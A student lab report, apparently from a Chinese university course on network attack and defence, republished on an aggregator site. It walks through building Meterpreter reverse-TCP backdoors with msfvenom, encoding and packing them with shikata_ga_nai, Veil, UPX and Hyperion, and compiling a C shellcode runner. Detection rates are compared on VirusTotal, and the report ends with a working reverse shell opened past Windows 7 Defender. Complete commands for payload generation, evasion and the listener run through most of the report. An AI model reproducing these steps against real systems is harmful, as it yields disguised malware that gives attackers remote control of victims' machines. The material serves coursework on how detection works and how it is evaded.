20232310 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news/2025/10/25 23:29:33/文章来源:https://www.cnblogs.com/xyd11/p/19166034

1.实验内容

1.1回答问题
(1)杀软是如何检测出恶意代码的?
将文件二进制代码与病毒库中的已知恶意特征对比,若匹配则判定为威胁。
分析代码结构和行为逻辑,例如检查是否调用危险API、是否存在异常注册表操作或加密行为,判断潜在风险。
动态沙箱检测,在隔离环境中运行文件,监控其行为,若触发可疑操作则标记为恶意。
(2)免杀是做什么?
免杀的核心目标是使恶意代码逃避杀毒软件的检测。
例如,攻击者可能通过修改代码结构、加密载荷或利用合法进程伪装,使杀毒软件无法识别其真实意图。
(3)免杀的基本方法有哪些?
通过工具定位杀毒软件检测的特征码位置,直接修改二进制数据。
使用压缩壳或加密壳包裹恶意代码,避免静态特征暴露。
将恶意代码直接写入内存,避免文件落地,绕过传统文件扫描。
将恶意代码拆分为多个模块,分阶段加载并加密传输,降低被整体识别的概率。

1.2实践内容简述
(1)使用msfvenom和msf编码器,生成exe、jar、php文件及它们的编码版本。
(2)下载veil工具,并使用它来生成恶意代码。
(3)使用C+shellcode编程。
(4)尝试upx压缩壳和试hyperion加密壳。
(5)通过组合应用各种技术实现恶意代码免杀,即与杀软共生。
(6)在杀软开启的情况下,用免杀技术让恶意代码运行并回连成功。

2.实验过程

2.1 免杀效果基准测试
在kali虚拟机中,利用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.128 PORT=2408 -f exe > met20232310.exe直接生成meterpreter可执行文件,
其中-p参数指定生成windows/meterpreter/reverse_tcp类型Payload,使目标主机执行后主动向攻击者主机发起TCP连接。
然后将文件传入主机,将该文件放入virustotal进行评价线上检测,过程和结果如下图
屏幕截图 2025-10-20 211209

屏幕截图 2025-10-20 211159

可以发现结果为59/72,后续即以此为基准判断后续的免杀效果的好坏
2.2 通过msfvenom使用编码器或生成其他格式文件
(1)生成exe文件
利用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.80.128 LPORT=2408 -f exe > met-encoded20232310.exe
生成可执行文件。该命令中,
-e x86/shikata_ga_nai通过编码器对Payload进行混淆编码,
-b '\x00'参数排除空字符。
屏幕截图 2025-10-20 211439
上传坚持,发现区别不大,说明这种免杀方法已经被广泛记录,效果不佳
屏幕截图 2025-10-20 211700
(2)生成多次编码的exe文件
编码一次效果不佳,再试试多编码几次,参数-i设置编码次数为10次,可以看到结果基本一样,说明着这种免杀方法的特征太明显了,多次编码无效
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.80.128 LPORT=2408 -f exe > met-encoded20232310.exe
屏幕截图 2025-10-20 211713

屏幕截图 2025-10-20 211934
(3)生成jar文件
利用指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=2408 x>metjar20232310.jar生成jar文件。
其中-p参数指定生成java/meterpreter/reverse_tcp类型Payload,通过输出文件名metjar20222408.jar的.jar后缀,
msfvenom可隐式识别目标文件类型并生成符合JAR格式的文件,无需额外指定格式参数。
屏幕截图 2025-10-20 211944
得到的检出率为35/64,说明jar文件更难被识别出来
屏幕截图 2025-10-20 212123

(4)生成多次编码的jar文件
利用指令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.80.128 LPORT=2408 x>met-encoded-jar20232310.jar生成一份编码10次的jar文件。
屏幕截图 2025-10-20 212141
得到的检出率还是35/64,说明多次编码依然没有什么用处。
屏幕截图 2025-10-20 212306

(5)生成php文件
用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=2408 x> metphp_20232310.php生成php文件
看到php文件更加不易被检测出来
屏幕截图 2025-10-21 182623
屏幕截图 2025-10-21 182917

(5)生成多次编码的php文件
用指令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.80.128 LPORT=2408 x> met_encoded10_php_20232310.php生成编码10次的php文件。
发现检出率仅为8/62,效果很好,说明多次编码后免杀效果有较大改善
屏幕截图 2025-10-21 182917

屏幕截图 2025-10-21 183200

2.3使用veil免杀工具
(1)下载veil
输入sudo apt -y install veil
屏幕截图 2025-10-21 183733
然后输入usr/share/veil/config/setup.sh --force --silent,用veil自带的shell脚本配置好环境。
下载和自动配置都需要比较长的时间,请耐心等待即可
屏幕截图 2025-10-21 191226

(2)使用veil
输入veil,可以看到两个免杀的⼯具,Evasion和Ordnance。这里使用第一个
屏幕截图 2025-10-21 200536
输入use 1进入Evasion模块
然后输入list查看所有可用的载荷种类
屏幕截图 2025-10-21 200616

我们先试试c语音框架吧
看到c/meterpreter/rev_tcp.py是第7个选项,输入use 7
屏幕截图 2025-10-21 200729
然后配置一下,输入以下信息。
set LHOST 192.168.80.128(虚拟机的ip)
set LPORT 2408
generate(开始生成)
屏幕截图 2025-10-21 200925

下面会提示生成的具体细节特性和生成后文件所在的位置。
屏幕截图 2025-10-21 200933
找到相应目录下的生成文件
屏幕截图 2025-10-21 201050
传回主机,上传网站,结果为36/72,说明veil工具具备一定的免杀效果
屏幕截图 2025-10-21 201203

2.4 C语言结合Shellcode编程
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=2408 -f c,用msfvenom工具生成载荷,-f c参数将载荷转换为C语言字节数组形式的源代码,便于后续嵌入到 C 语言项目中,通过编译生成可执行文件。
屏幕截图 2025-10-23 202348

编写一个c文件,具体内容如下
屏幕截图 2025-10-23 203543
屏幕截图 2025-10-23 203528

使用编译器i686-w64-mingw32-g++进行编译
屏幕截图 2025-10-23 203554

看到检测效果35/72,效果还可以,有一定的免杀效果。
屏幕截图 2025-10-23 203922

2.5 加壳工具
(1)使用压缩壳UPX
给上一个步骤生成的shellcode_c_20232310.exe加一个压缩壳。
upx作为压缩壳工具,对原始可执行文件的二进制数据进行压缩,并嵌入解压代码。
程序运行时会先通过壳程序解压原始代码并执行,既减小了文件体积,也通过隐藏原始shellcode的静态特征。
屏幕截图 2025-10-23 204050
测试检出率,发现是38/71,说明这个壳的特征已经被很广泛的记录,不好用。
屏幕截图 2025-10-23 204254

(2)加密壳Hyperion
cp shellcode_c_20232310.exe /usr/share/windows-resources/hyperion/(将待加密文件放到工作目录下)
wine hyperion.exe -v shellcode_c_20232310.exe shellcode_c_hyp_20232310.exe(加密文件)
屏幕截图 2025-10-23 204601
结果很糟糕,升到50/71了,还不如之前的压缩壳,推测可能因为Hyperion是公开工具,其壳程序的启动代码、加密算法标已被主流杀毒软件纳入特征库。当检测到文件带有 Hyperion 的壳特征时,即使内部代码未知,也可能被直接标记为可疑。也可能是调用特定API的行为触发动态拦截。
屏幕截图 2025-10-23 204918

2.6 免杀技术综合应用
先试试指导书的方法会不会被发现
使用msfvenom工具来生成一个攻击载荷的示例。该攻击载荷被x86/shikata_ga_nai编码了10次。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.80.128 LPORT=2408 -f c > 20232310_shellcode.c
使用vi工具,在生成的文件中加入main函数如下。
int main(){ int (func)() = (int()())buf; func(); }
使用MinGW-w64编译该源文件。
i686-w64-mingw32-g++ 20232310_shellcode.c -o 20232310_shellcode.exe
使用upx加一层压缩壳。
upx 20232310_shellcode.exe -o 20232310_shellcode_upx.exe
使用hyperion加一层加密壳。
wine hyperion.exe -v 20232310_shellcode_upx.exe 20232310_shellcode_upx_hyp.exe
屏幕截图 2025-10-23 205239
屏幕截图 2025-10-23 205456
屏幕截图 2025-10-23 205911
可惜我放到win11主机后,就被windows自带的windows defender发现了,并且直接禁止运行
屏幕截图 2025-10-23 210050

那试试raw文件呢
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.80.128 LPORT=2406 -f raw >20232310.raw
屏幕截图 2025-10-23 215617
通过链接安装 - shellcode_launcher启动程序 https://gitee.com/vantler/shellcode_launcher/
把攻击文件放到launcher的文件夹下
输入.\shellcode_launcher.exe -i 20232310.raw来启动文件
失败了
屏幕截图 2025-10-23 215038

感觉win11自带的windows defender有点强,把它放到win7里面吧。步骤同上
屏幕截图 2025-10-23 215806
没有被查杀,启动试试,也没事
屏幕截图 2025-10-23 215546

在kali虚拟机中输入msfconsole打开msf的控制台。输入
use exploit/multi/handler配置监听模块,
set payload windows/meterpreter/reverse_tcp使用和生成后门程序时相同的payload,
set LHOST 192.168.80.128使用kali的IP
set LPORT 2406设置端口
屏幕截图 2025-10-23 215557

成功连接
屏幕截图 2025-10-23 215604
屏幕截图 2025-10-23 220604
虽然杀毒软件有点古老,是win7自带的老古董windows defender

几年前metasploit升级到了5.0,引入了一个新的模块叫Evasion模块,官方宣称这个模块可以创建反杀毒软件的木马
那现在我们用的版本是6.4想必也可以反杀毒软件吧
试试,用这个8吧
image
image
image
结果还是骗不过win11的windows defender
换成网页?
image
失败

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/946503.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

题解:AT_apc001_h Generalized Insertion Sort

为数不多能瞎搓出来的构造。 题意:给出一棵以 \(0\) 为根的树和每个点上的值 \(a_i\),每次可以对一个点 \(u\) 进行以下操作:设从根往下走到 \(u\) 的路径为 \(p_1,p_2,\cdots p_k\),那么令 \(a_{p_i}\leftarrow a…

[SWPUCTF 2024 秋季新生赛]http标头 WP

[SWPUCTF 2024 秋季新生赛]http标头 WP 进入界面,会发现一个黑神话悟空,让我们在发布时间 \(0\) 时 \(0\) 分 \(0\) 秒。 我们打开 Burpsuite 抓包,拦截请求。按照他的要求,修改 Date。 Date:Tue, 20 Aug 2024 00:…

20251025 之所思 - 人生如梦

20251025 之所思1. 参加了公司安排的校招,毕业15年再次回到大学,看着一张张年轻的面庞,突然感觉到自己已经不再年轻,年轻真好,可是时光不能倒流,珍惜时间,让每一天都过得有意义。2. 第一次完成了面试,面试前还…

为什么Java/Python程序无需关心内存释放?揭秘垃圾回收(GC)的核心概念

为什么Java/Python程序无需关心内存释放?揭秘垃圾回收(GC)的核心概念在Java的编程世界里,开发者既无需也无法像C/C++那样手动调用malloc/free来管理内存的分配与回收,这一核心任务完全由Java虚拟机在幕后自动完成…

从图像到文本:详解藏文OCR的实现过程与核心技术

随着人工智能与数字化浪潮的推进,光学字符识别技术已成为连接物理世界与数字世界的关键桥梁。藏文,作为我国重要的少数民族文字之一,其识别技术的发展对于促进民族文化传承、推动区域信息化建设具有深远意义。本文将…

【打造自己的 DeepSeek】第 2 期:怎么安装自己的 DeepSeek?

上一期介绍了为什么要打造自己的 DeepSeek,本期将介绍怎么安装自己的 DeepSeek。这里要使用的工具是 Ollama。它是一个免费开源的本地大语言模型运行平台,可以帮我们把 DeepSeek 模型下载到我们自己的电脑上运行,支…

初步学习计算机相关知识有感 - fang

刚刚上大学两个月左右,学习计算机相关的知识给我的感受如下。 1. “陌生”从前没有接触过的名词或描述,这感觉像学习一门新的外语。 例如,第一次听到“数据结构”、“算法”或“面向对象编程”时,我感到十分困惑,…

一种解决所有 OI 问题的算法:Dream 算法

前言面对茫茫题海,是否感觉对于某些题目找不到合适的算法求解而苦思冥想? 面对人类智慧,是否感觉自己的智商远远跟不上? 面对无数比赛,是否因为自己总是拿不了高分而陷入苦恼? 面对无数文化课恶心题,是否总是无…

【论文阅读】ASPS: Augmented Segment Anything Model for Polyp Segmentation - 指南

【论文阅读】ASPS: Augmented Segment Anything Model for Polyp Segmentation - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; …

RuoYi-Cloud 认证实现

RuoYi-Cloud 微服务安全认证体系深度解析 1. 整体架构概览 RuoYi-Cloud 的安全认证体系由以下几个核心组件构成:网关服务(ruoyi-gateway):统一认证入口 认证服务(ruoyi-auth):处理用户登录认证 公共安全模块(r…

CobaltStrike流量分析

CobaltStrike流量分析 1.溯源反制,提交黑客CS服务器的flag.txt内容 使用nmap扫描IP开放端口,发现开放了一个 2357端口 我们看看里面有什么可以看到对方IP开放了一个2375端口,我们看看有没有什么利用的方法 一、端口…

2025年自动上料机厂家权威推荐榜:螺旋上料机/真空上料机/粉末上料机,高效输送系统精准选型指南

2025年自动上料机厂家权威推荐榜:螺旋上料机/真空上料机/粉末上料机,高效输送系统精准选型指南 在工业自动化快速发展的今天,自动上料机作为生产线的重要环节,其性能直接影响生产效率和产品质量。螺旋上料机、真空…

建立VLAN间通信

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

用代码将txt分别转换成列表和字典

txt = """男孩:boy 女孩:girl 姓名:name 年龄:age 性别:sex""" # 转换为字符串列表(每行一个元素) str_list = [line for line in txt.split(\n)] # 创建中-英字典 zh_en_dict =…

AtCoder Beginner Contest 429 ABCDEF 题目解析

A - Too Many Requests 题意 给定正整数 \(N\) 和 \(M\)。 输出 \(N\) 行,对于第 \(i\) 行:如果 \(i\leq M\) ,则输出 OK 否则输出 Too Many Requests代码 void solve() {int n, m;cin >> n >> m;for(i…

2025年提升机厂家推荐排行榜,自动提升机,垂直提升机,物料提升机,工业提升设备公司精选

2025年提升机厂家推荐排行榜:自动提升机、垂直提升机、物料提升机、工业提升设备公司精选 在工业自动化浪潮持续深入的今天,提升设备作为物料输送系统的核心组成部分,正经历着技术革新与产业升级的双重变革。自动提…

刷题日记—数组—布尔数组的应用

前几天刷题碰到了种树,切方块类型的题目,这类题目用布尔类型判断每一个个体的状态,最后根据每个元素对应的布尔值来统计数目:如下: 1.移数问题:解题步骤如下:```plaintext include using namespace std; bool fl…

How to Build an Agent

How to Build an Agent https://www.bilibili.com/video/BV1G2uSzqErU/?spm_id_from=333.788.videopod.sections&vd_source=57e261300f39bf692de396b55bf8c41b https://blog.langchain.com/how-to-build-an-agent…